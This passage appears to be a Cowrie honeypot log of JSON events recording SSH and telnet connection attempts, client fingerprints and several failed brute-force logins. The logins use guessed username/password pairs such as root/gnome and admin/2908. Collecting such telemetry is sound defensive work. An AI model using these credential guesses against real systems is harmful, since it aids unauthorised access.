{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53312,"dst_ip":"10.17.0.5","dst_port":23,"session":"b79eaf626d39","protocol":"telnet","message":"New connection: 192.119.13.58:53312 (10.17.0.5:23) [session: b79eaf626d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:33.906312Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40374,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85b00d0b050","protocol":"telnet","message":"New connection: 192.119.13.58:40374 (10.17.0.5:23) [session: e85b00d0b050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:36.571647Z"}
{"eventid":"cowrie.session.closed","duration":46.11657190322876,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:37.508991Z","src_ip":"192.119.13.58","session":"bd8fe53e06c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45566,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f30af34224c","protocol":"telnet","message":"New connection: 192.119.13.58:45566 (10.17.0.5:23) [session: 8f30af34224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:37.728863Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"82dd449bceac","protocol":"telnet","message":"New connection: 192.119.13.58:46436 (10.17.0.5:23) [session: 82dd449bceac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:37.928192Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":40350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b82a4cd5180","protocol":"ssh","message":"New connection: 165.154.5.249:40350 (159.203.135.109:22) [session: 2b82a4cd5180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:38.765352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:38.770674Z","src_ip":"165.154.5.249","session":"2b82a4cd5180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:38.988022Z","src_ip":"165.154.5.249","session":"2b82a4cd5180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.840980529785156,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:39.747155Z","src_ip":"192.119.13.58","session":"b79eaf626d39","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gnome","message":"login attempt [root/gnome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:39.888618Z","src_ip":"165.154.5.249","session":"2b82a4cd5180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.01083326339722,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:40.460759Z","src_ip":"192.119.13.58","session":"12ec8f9697a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61384,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a74225e57d","protocol":"ssh","message":"New connection: 2.57.121.112:61384 (10.17.0.5:22) [session: 05a74225e57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:40.575834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:40.583488Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:40.688932Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:41.114297Z","src_ip":"165.154.5.249","session":"2b82a4cd5180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2908","message":"login attempt [admin/2908] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:41.179243Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290686","message":"login attempt [admin/290686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:42.287597Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29061997","message":"login attempt [admin/29061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:43.395566Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290582","message":"login attempt [admin/290582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:44.503316Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91758728027344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:44.589102Z","src_ip":"192.119.13.58","session":"856a3106493d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29041969","message":"login attempt [admin/29041969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:45.613629Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d5715c96291","protocol":"telnet","message":"New connection: 192.119.13.58:50206 (10.17.0.5:23) [session: 7d5715c96291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:45.946487Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:46.720962Z","src_ip":"2.57.121.112","session":"05a74225e57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.34342646598816,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:47.568703Z","src_ip":"192.119.13.58","session":"4fe2fe39d780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38616,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af362014f08","protocol":"telnet","message":"New connection: 192.119.13.58:38616 (10.17.0.5:23) [session: 4af362014f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:50.167367Z"}
{"eventid":"cowrie.session.closed","duration":0.006665945053100586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:50.173918Z","src_ip":"192.119.13.58","session":"4af362014f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":46256,"dst_ip":"159.203.135.109","dst_port":22,"session":"03355f1caa97","protocol":"ssh","message":"New connection: 43.163.121.249:46256 (159.203.135.109:22) [session: 03355f1caa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:50.852101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:50.857566Z","src_ip":"43.163.121.249","session":"03355f1caa97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:51.095606Z","src_ip":"43.163.121.249","session":"03355f1caa97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.603973388671875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:51.996632Z","src_ip":"192.119.13.58","session":"0c90f6338ad9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"elf","message":"login attempt [root/elf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:52.077507Z","src_ip":"43.163.121.249","session":"03355f1caa97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:53.324059Z","src_ip":"43.163.121.249","session":"03355f1caa97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"333e32c003ae","protocol":"telnet","message":"New connection: 192.119.13.58:57568 (10.17.0.5:23) [session: 333e32c003ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:02.151038Z"}
{"eventid":"cowrie.session.closed","duration":47.6331250667572,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:06.870664Z","src_ip":"192.119.13.58","session":"d72a373c915a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49094,"dst_ip":"10.17.0.5","dst_port":23,"session":"52dce89a623e","protocol":"telnet","message":"New connection: 192.119.13.58:49094 (10.17.0.5:23) [session: 52dce89a623e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:07.023066Z"}
{"eventid":"cowrie.session.closed","duration":41.08763241767883,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:09.036014Z","src_ip":"192.119.13.58","session":"964e35647bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e104728ca81","protocol":"telnet","message":"New connection: 192.119.13.58:47928 (10.17.0.5:23) [session: 2e104728ca81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:13.463308Z"}
{"eventid":"cowrie.session.closed","duration":44.5068097114563,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:13.586712Z","src_ip":"192.119.13.58","session":"4f68b626960f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":45720,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2d998fe458","protocol":"ssh","message":"New connection: 150.109.25.130:45720 (159.203.135.109:22) [session: 9a2d998fe458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:17.520576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:17.525578Z","src_ip":"150.109.25.130","session":"9a2d998fe458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:17.772020Z","src_ip":"150.109.25.130","session":"9a2d998fe458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.92255640029907,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:17.850647Z","src_ip":"192.119.13.58","session":"82dd449bceac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456789","message":"login attempt [root/root@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:18.785434Z","src_ip":"150.109.25.130","session":"9a2d998fe458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.10255479812622,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:18.831327Z","src_ip":"192.119.13.58","session":"8f30af34224c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:20.034312Z","src_ip":"150.109.25.130","session":"9a2d998fe458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.467490673065186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:20.038960Z","src_ip":"192.119.13.58","session":"e85b00d0b050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56014,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86c875c24a1","protocol":"telnet","message":"New connection: 192.119.13.58:56014 (10.17.0.5:23) [session: a86c875c24a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:22.503582Z"}
{"eventid":"cowrie.session.closed","duration":38.30958318710327,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:24.255951Z","src_ip":"192.119.13.58","session":"7d5715c96291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":51444,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e8a90e95bfc","protocol":"ssh","message":"New connection: 69.6.222.198:51444 (159.203.135.109:22) [session: 2e8a90e95bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:32.623460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:32.628847Z","src_ip":"69.6.222.198","session":"2e8a90e95bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:32.750345Z","src_ip":"69.6.222.198","session":"2e8a90e95bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42358,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebfeefa3279d","protocol":"telnet","message":"New connection: 192.119.13.58:42358 (10.17.0.5:23) [session: ebfeefa3279d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:33.194389Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hive","message":"login attempt [root/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:33.238117Z","src_ip":"69.6.222.198","session":"2e8a90e95bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46428,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe43ea39e15","protocol":"telnet","message":"New connection: 192.119.13.58:46428 (10.17.0.5:23) [session: abe43ea39e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:34.182138Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:34.358154Z","src_ip":"69.6.222.198","session":"2e8a90e95bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36034,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa888584db2","protocol":"ssh","message":"New connection: 193.32.162.145:36034 (10.17.0.5:22) [session: cfa888584db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:35.942933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:35.947912Z","src_ip":"193.32.162.145","session":"cfa888584db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@open